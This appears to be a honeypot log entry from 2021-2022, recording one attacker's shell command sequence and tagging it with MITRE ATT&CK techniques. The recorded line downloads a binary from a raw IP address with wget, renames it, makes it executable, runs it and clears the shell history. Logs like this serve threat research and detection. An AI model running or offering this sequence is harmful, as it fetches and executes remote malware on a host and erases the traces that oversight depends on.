Honeypot attack session (period 2021_2022), commands issued:
cat /etc/issue; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://31.210.20.48/dirdir000/0s1s12.x86; cat 0s1s12.x86 > z1z2z5a6qw5asda; chmod +x z1z2z5a6qw5asda; ./z1z2z5a6qw5asda Rooted.VPS; history -c

MITRE ATT&CK techniques observed:
T1082 System Information Discovery
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1036 Masquerading
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal